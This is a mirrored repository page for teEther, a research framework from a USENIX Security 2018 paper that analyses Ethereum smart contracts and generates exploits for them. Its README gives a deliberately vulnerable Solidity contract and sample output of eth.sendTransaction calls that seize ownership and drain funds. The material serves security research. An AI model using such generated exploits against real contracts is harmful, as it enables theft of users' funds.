teether

KO | EN

gitlite — search

#javascript #hacktoberfest #android #machine-learning #linux #nodejs #java #windows #awesome #security #pytorch #mcp #ios #openai

(★ 137)

No description available.

File Explorer

Download Latest Version (.zip)

- asm.py
- extract_contract_code.py
- gen_exploit.py
- plot_cfg.py
- replay_exploit.py
- - __init__.py
  - bb.py
  - cfg.py
  - disassembly.py
  - instruction.py
  - opcodes.py
- - __init__.py
  - evm.py
  - exceptions.py
  - results.py
  - state.py
- - __init__.py
  - backward.py
  - forward.py
- - __init__.py
  - frontierset.py
  - intrange.py
  - utils.py
  - z3_extra_util.py
- __init__.py
- constraints.py
- exploit.py
- memory.py
- project.py
- slicing.py
- - test1.code
  - test1.contract.code
  - test1.contract.code.exploit.json
  - test1.contract.code.project.json
  - test1.sol
  - test10.code
  - test10.contract.code
  - test10.contract.code.exploit.json
  - test10.contract.code.project.json
  - test10.sol
  - test11.code
  - test11.contract.code
  - test11.contract.code.exploit.json
  - test11.contract.code.project.json
  - test11.sol
  - test12.code
  - test12.contract.code
  - test12.sol
  - test13.code
  - test13.contract.code
  - test13.contract.code.exploit.json
  - test13.contract.code.project.json
  - test13.sol
  - test14.code
  - test14.contract.code
  - test14.contract.code.exploit.json
  - test14.contract.code.project.json
  - test14.sol
  - test15.code
  - test15.contract.code
  - test15.contract.code.exploit.json
  - test15.contract.code.project.json
  - test15.sol
  - test16.code
  - test16.contract.code
  - test16.contract.code.exploit.json
  - test16.contract.code.project.json
  - test16.sol
  - test17.code
  - test17.contract.code
  - test17.contract.code.exploit.json
  - test17.contract.code.project.json
  - test17.sol
  - test18.code
  - test18.contract.code
  - test18.contract.code.exploit.json
  - test18.contract.code.project.json
  - test18.sol
  - test19.code
  - test19.contract.code
  - test19.contract.code.exploit.json
  - test19.contract.code.project.json
  - test19.sol
  - test2.code
  - test2.contract.code
  - test2.contract.code.exploit.json
  - test2.contract.code.project.json
  - test2.sol
  - test20.contract.code
  - test20.contract.code.exploit.json
  - test20.contract.code.project.json
  - test20.sol
  - test21.contract.code
  - test21.contract.code.exploit.json
  - test21.contract.code.project.json
  - test22.code
  - test22.contract.code
  - test22.sol
  - test3.code
  - test3.contract.code
  - test3.contract.code.exploit.json
  - test3.contract.code.project.json
  - test3.sol
  - test4.code
  - test4.contract.code
  - test4.contract.code.exploit.json
  - test4.contract.code.project.json
  - test4.sol
  - test5.code
  - test5.contract.code
  - test5.contract.code.exploit.json
  - test5.contract.code.project.json
  - test5.sol
  - test6.code
  - test6.contract.code
  - test6.contract.code.exploit.json
  - test6.contract.code.project.json
  - test6.sol
  - test7.code
  - test7.contract.code
  - test7.contract.code.exploit.json
  - test7.contract.code.project.json
  - test7.sol
  - test8.code
  - test8.contract.code
  - test8.contract.code.exploit.json
  - test8.contract.code.project.json
  - test8.sol
  - test9.code
  - test9.contract.code
  - test9.contract.code.exploit.json
  - test9.contract.code.project.json
  - test9.sol
- test_contract_extraction.py
- test_import_export.py
- test_keccak.py
- test_main.py
- test_slicing.py
.gitignore
LICENSE
README.md
setup.py

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# teEther - Analysis and automatic exploitation framework for Ethereum smart contracts

teEther is an analysis tool for Ethereum smart contracts.
It can
* [disassemble EVM bytecode](./teether/cfg/disassembly.py#L13)
* [perform backward slicing](./teether/slicing.py#L123)
* [execute EVM bytecode](./teether/evm/evm.py#L31)
* [execute EVM bytecode **symbolically**](./teether/evm/evm.py#L290)
* [plot nice CFGs](./bin/plot_cfg.py)
* [create exploits for vulnerable smart contracts](./bin/gen_exploit.py)

## Quickstart

1. Install `teEther`
```bash
python setup.py install
```

2. Write your vulnerable smart contract
```solidity
pragma solidity ^0.4.0;

contract Test{

struct Transaction{
        address to;
        uint amount;
    }

mapping (bytes32 => Transaction) transactions;

address owner;
    
    function set_owner(address new_owner){
        owner = new_owner;
    }
    
    function new_transaction(address to, uint amount) returns (bytes32){
        bytes32 token = sha3(to, amount);
        Transaction storage t = transactions[token];
        t.to = to;
        t.amount += amount;
        return token;
    }
    
    function approve(bytes32 token){
        require(owner == msg.sender);
        Transaction storage t = transactions[token];
        t.to.transfer(t.amount);
        delete transactions[token];
    }
    
}
```

3. Compile your contract
```
$ solc --bin test.sol | tail -n1 > test.code
```

4. Extract the deployed contract code
```
$ python bin/extract_contract_code.py test.code > test.contract.code
```

5. Generate an exploit
```
$ python bin/gen_exploit.py test.contract.code 0x1234 0x1000 +1000

...
eth.sendTransaction({from:"0x0000000000000000000000000000000000001234", data:"0x7cb97b2b0000000000000000000000000000000000000000000000000000000000001234", to:"0x4000000000000000000000000000000000000000", gasPrice:0})
eth.sendTransaction({from:"0x0000000000000000000000000000000000001234", data:"0x0129ab2700000000000000000000000000000000000000000000000000000000000012340000000000000000000000000000000000000000000000016bc75e2d63100103", to:"0x4000000000000000000000000000000000000000", gasPrice:0})
eth.sendTransaction({from:"0x0000000000000000000000000000000000001234", data:"0xa53a1adfce9e2ef9fe2568f35b22f98bb749862a13e0abd291c6ba4967016d629412829d", to:"0x4000000000000000000000000000000000000000", gasPrice:0})
```

## Academia

Our paper [**teEther: Gnawing at Ethereum to Automatically Exploit Smart Contracts**](https://publications.cispa.saarland/2612/1/main.pdf) was published at the [27th USENIX Security Symposium (Usenix Security 18)](https://www.usenix.org/conference/usenixsecurity18/presentation/krupp) ([slides](https://www.usenix.org/sites/default/files/conference/protected-files/security18_slides_krupp.pdf), [video](https://www.youtube.com/watch?v=mW4jQzPVP_A)).

```bibtex
@inproceedings{teEther2018,
          author = {Johannes Krupp and Christian Rossow},
       publisher = {USENIX Association},
       booktitle = {27th USENIX Security Symposium (USENIX Security 18)},
            year = {2018},
           title = {{teEther: Gnawing at Ethereum to Automatically Exploit Smart Contracts}},
             url = {https://publications.cispa.saarland/2612/},
}
```

teether

File Explorer

Today's picks

Was this content helpful?

Recent Feedback

teether

File Explorer

Today's picks

Was this content helpful?

Recent Feedback

Download README